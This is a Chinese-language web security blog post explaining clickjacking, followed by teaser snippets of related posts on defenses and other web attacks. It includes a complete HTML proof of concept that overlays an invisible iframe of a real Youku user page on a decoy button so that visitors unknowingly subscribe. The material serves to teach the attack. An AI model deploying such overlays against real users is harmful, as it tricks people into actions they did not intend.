2. 程式人生 > >web安全之點選劫持(clickjacking)

web安全之點選劫持(clickjacking)

阿新 • • 發佈：2019-01-18

百度解釋：

點選劫持，clickjacking，也被稱為UI-覆蓋攻擊。這個詞首次出現在2008年，是由網際網路安全專家羅伯特·漢森和耶利米·格勞斯曼首創的。 它是通過覆蓋不可見的框架誤導受害者點選。 雖然受害者點選的是他所看到的網頁，但其實他所點選的是被黑客精心構建的另一個置於原網頁上面的透明頁面。 這種攻擊利用了HTML中<iframe>標籤的透明屬性。 就像一張圖片上面鋪了一層透明的紙一樣，你看到的是黑客的頁面，但是其實這個頁面只是在底部，而你真正點選的是被黑客透明化的另一個網頁。一個簡單的點選劫持例子，就是當你點選了一個不明連結之後，自動關注了某一個人的部落格或者訂閱了視訊。 假如我在優酷釋出了很多視訊，想讓更多的人關注它，於是我們準備了一個頁面： 
<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>點選劫持 POC</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 270px;
left: 1150px;
z-index: 1;
width: 90px;
height:40px;
}
</style>
</head>
<body>
<button>美女圖片</button>
<img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg">
<iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"></iframe>
</body>
</html>


當然真正的頁面肯定會更精緻一些，不會這麼簡陋。 然而這個頁面只是表象而已，我們把iframe的透明度改成0.3以後再看看
當你點選按鈕以後，真正的點選的其實是隱藏的那個頁面的訂閱按鈕，然後就會在你不知情的情況下訂閱了
當然點選劫持的危害可大可小，並不僅僅是關注訂閱之類的東西，但是原理類似。

相關推薦

web安全之點選劫持(clickjacking)

百度解釋： 點選劫持，clickjacking，也被稱為UI-覆蓋攻擊。這個詞首次出現在2008年，是由網際網路安全專家羅伯特·漢森和耶利米·格勞斯曼首創的。 它是通過覆蓋不可見的框架誤導受害者點選。 雖然受害者點選的是他所看到的網頁，但其實他所點選的是被黑客精心構

WEB安全基礎-點選劫持漏洞基礎

點選劫持漏洞 點選劫持：一個其他的網站，用iframe標籤，<iframe src=”http://xxx.xxx.xxx”></ifame> <style> Ht

Web伺服器點選劫持(ClickJacking)的安全防範

一.介紹 ClickJacking即點選劫持，是一種將惡意程式碼經過處理使其變成透明、不可見的iframe，並將其覆蓋在一個網頁上，然後誘使使用者在該網頁上進行點選操作。通過改變iframe的在頁面的位置，可以誘使使用者正好點選我們設定好的透明iframe。 二.防禦 1.

點選劫持(ClickJacking)

點選劫持 什麼是點選劫持？ 利用方法 進階(本質上還是UI覆蓋攻擊，只是實現手段不一樣) 防禦 什麼是點選劫持？ 點選劫持(ClickJacking)，又稱“UI-覆蓋攻擊”，通過覆蓋不可見的框架誤導受害者進行點選而造成的攻擊

web安全（3）-- ClickJacking（點選劫持）

“Clickjacking（點選劫持）是由網際網路安全專家羅伯特·漢森和耶利米·格勞斯曼在2008年提出的。是一種視覺欺騙手段，在web端就是iframe巢狀一個透明不可見的頁面，讓使用者在不知情的情況下，點選攻擊者想要欺騙使用者點選的位置。” 假設你訪問一個web站點並看到如下的頁面：

web安全：防範點選劫持的兩種方式

防範點選劫持的兩種方式 什麼點選劫持？最常見的是惡意網站使用 <iframe> 標籤把我方的一些含有重要資訊類如交易的網頁嵌入進去，然後把 iframe 設定透明，用定位的手段的把一些引誘使用者在惡意網頁上點選。這樣使用者不知不覺中就進行了某些不安全的操作。 有兩

基於iframe的CFS(Cross Frame Script)和Clickjacking(點選劫持)攻擊

防止被 FRAME 載入你的網站頁面1. meta 標籤：很多時候沒有效果，無視<meta http-equiv="Windows-Target" contect="_top">2. js 判斷頂層視窗跳轉，可輕易破解，意義不大function locationTop(){ if (top

關於點選劫持（clickjacking)的一些資訊

最近在用到iframe巢狀的時發現了些問題，在解決這些問題時瞭解到了一種叫作點選劫持(clickjacking)的攻擊手段，下面是其中一篇有用的文章，因為原文需要同意才能轉載，所以將網址貼在這兒，以備不時之需。 這篇文章與Standford的一篇論文極為類似，原論文題為《

web安全之同源策略

rip 瀏覽器中 屬性。 名單 java get message 否則 cookie 為什麽使用同源策略？一個重要原因就是對cookie的保護，cookie 中存著sessionID 。如果已經登錄網站，同時又去了任意其他網站，該網站有惡意JS代碼。如果沒有同源策略，那麽這

Web安全 之 X-Frame-Options響應頭配置

編制 可能 腳本編制 攻擊 invalid mis itl pla snippet 　　最近項目處於測試階段，在安全報告中存在" X-Frame-Options 響應頭缺失 "問題，顯示可能會造成跨幀腳本編制攻擊，如下圖： 　　 　　X-Frame-Options： 　　值

Web安全之越權操作：橫向越權與縱向越權

localhost new 用戶修改 情況 name 查看 普通用戶 新的 登錄 參考：http://blog.csdn.net/github_39104978/article/details/78265433 看了上面的文章，對越權操作的概念還是比較模糊，不明確實際場景。

Web安全之CSRF攻擊

for idt 例子 expr 由於 不能 防止 失效 內容 一、CSRF是什麽？ CSRF（Cross Site Request Forgery），中文是跨站點請求偽造。CSRF攻擊者在用戶已經登錄目標網站之後，誘使用戶訪問一個攻擊頁面，利用目標網站對用戶的信任，以用戶身

web安全之token

sub decode tutorial nag 發送 PC 大型網站 ppr ade 最近了解下基於 Token 的身份驗證，跟大夥分享下。很多大型網站也都在用，比如 Facebook，Twitter，Google+，Github 等等，比起傳統的身份驗證方法，Toke

20155236範晨歌免考項目：web安全之漏洞利用

以及 程序 pin href pst 虛擬 php arm .html PHP和PHPinfo的簡單介紹 https://www.cnblogs.com/fcgfcgfcg/p/9234978.html 通過CSRF漏洞加深理解 https://www.cnblogs.

web安全之SQL註入

password 嚴格 add code 數據 檢查 star 代碼 輸入數據 一、如何理解SQL註入？ SQL註入是一種將SQL代碼添加到輸入參數中 傳遞到SQL服務器解析並執行的一種×××手法 二、SQL註入是怎麽產生的？ WEB開發人員無法保證所有的輸入都已經過

Web 安全之內容安全策略（Content-Security-Policy,CSP）詳解

pid eba elf safe 數據 信息 java php 我們 1.CSP 簡介 內容安全策略（Content Security Policy，簡稱CSP）是一種以可信白名單作機制，來限制網站是否可以包含某些來源內容，緩解廣泛的內容註入漏洞，比如 XSS。 簡單來說，

Web安全之跨站腳本攻擊（XSS）

sca 各類 隱藏 word create 十六 請求 後臺 轉換成 XSS 簡介 跨站腳本攻擊，英文全稱是 Cross Site Script，本來縮寫是CSS，但是為了和層疊樣式表（Cascading Style Sheet，CSS）有所區別，所以在安全領域叫做“XSS

點選劫持 小例

點選劫持（UI-覆蓋攻擊/click jacking） 一個關於點選劫持的小示例，首相看下理論知識 專案思路 首先，製作一個功能頁面，作為被iframe巢狀的功能頁面；這個頁面的功能就是模仿投票功能，點選按鈕時，即可完成投票功能，控制檯會同步打印出操作資訊。 <!DOCTYPE

Web安全之xss

1>XSS漏洞是Web應用程式中最常見的漏洞之一。如果您的站點沒有預防XSS漏洞的固定方法，那麼就存在XSS漏洞。這個利用XSS漏洞的病毒之所以具有重要意義是因為，難以看到XSS漏洞的威脅，而該病毒則將其發揮得淋漓盡致。 2>XSS攻擊分為兩類，一類是來自內部的攻擊，主要指的是利用程式

web安全之檔案上傳漏洞攻擊與防範方法

一、 檔案上傳漏洞與WebShell的關係 檔案上傳漏洞是指網路攻擊者上傳了一個可執行的檔案到伺服器並執行。這裡上傳的檔案可以是木馬，病毒，惡意指令碼或者WebShell等。這種攻擊方式是最為直接和有效的，部分檔案上傳漏洞的利用技術門檻非常的低，對於攻擊者來說很容易實施。 檔案上傳漏洞本身就是一